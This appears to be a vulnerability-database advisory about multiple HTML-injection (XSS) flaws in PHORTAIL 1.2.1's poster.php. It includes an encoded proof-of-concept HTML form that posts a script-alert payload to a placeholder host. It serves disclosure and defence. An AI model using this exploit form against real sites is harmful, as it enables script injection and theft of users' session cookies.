PHORTAIL 1.2.1 'poster.php' Multiple HTML Injection Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Multiple HTML-injection vulnerabilities in PHORTAIL 1.2.1 'poster.php


                                                source: http://www.securityfocus.com/bid/34038/info

PHORTAIL is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

PHORTAIL 1.2.1 is vulnerable; other versions may also be affected.

&#60;html&#62;&#60;head&#62;&#60;title&#62;PHORTAIL v1.2.1 XSS Vulnerability&#60;/title&#62;&#60;/head&#62; &#60;hr&#62;&#60;pre&#62; Module : PHORTAIL 1.2.1 download : http://www.phpscripts-fr.net/scripts/download.php?id=330 Vul : XSS Vulnerability file : poster.php Author : Jonathan Salwan Mail : submit [AT] shell-storm.org Web : http://www.shell-storm.org &#60;/pre&#62;&#60;hr&#62; &#60;form name=&#34;rapporter&#34; action=&#34;http://www.example.com/poster.php&#34; method=&#34;POST&#34;&#62;&#60;/br&#62; &#60;input type=&#34;hidden&#34; name=&#34;ajn&#34; value=&#34;1&#34;&#62; &#60;input type=&#34;text&#34; name=&#34;pseudo&#34; value=&#34;xss&#34;&#62;=&#62;Pseudo&#60;/br&#62; &#60;input type=&#34;text&#34; name=&#34;email&#34; value=&#34;[email protected]&#34;&#62;=&#62;E-mail&#60;/br&#62; &#60;input type=&#34;text&#34; name=&#34;ti&#34; value=&#34;&#60;script&#62;alert(&#39;xss PoC&#39;);&#60;/script&#62;&#34;&#62;=&#62;XSS vulnerability&#60;/br&#62; &#60;input type=&#34;text&#34; name=&#34;txt&#34; value=&#34;xss&#34;&#62;=&#62;text&#60;/br&#62; &#60;input type=&#34;submit&#34; value=&#34;Start&#34;&#62;&#60;/br&#62; &#60;/form&#62; &#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1